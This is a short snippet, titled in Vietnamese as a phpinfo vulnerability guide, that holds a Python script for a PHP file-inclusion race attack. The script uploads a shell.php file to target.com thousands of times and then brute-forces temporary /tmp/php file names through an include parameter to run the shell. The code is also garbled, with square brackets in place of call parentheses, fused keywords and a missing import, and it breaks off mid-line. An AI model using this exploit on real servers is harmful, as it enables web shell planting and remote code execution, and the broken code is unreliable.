Hướng dẫn phpinfo vulnerability

import itertools

import requests

import sys

​

print['[+] Trying to win the race']

f ={'file': open['shell.php','rb']}

for _ inrange[4096*4096]:

requests.post['//target.com/index.php?c=index.php', f]

​

​

print['[+] Bruteforcing the inclusion']

for fname in itertools.combinations[string.ascii_letters + string.digits,6]:

url ='//target.com/index.php?c=/tmp/php'+ fname

r = requests.get[url]

if'load average'in r.text:#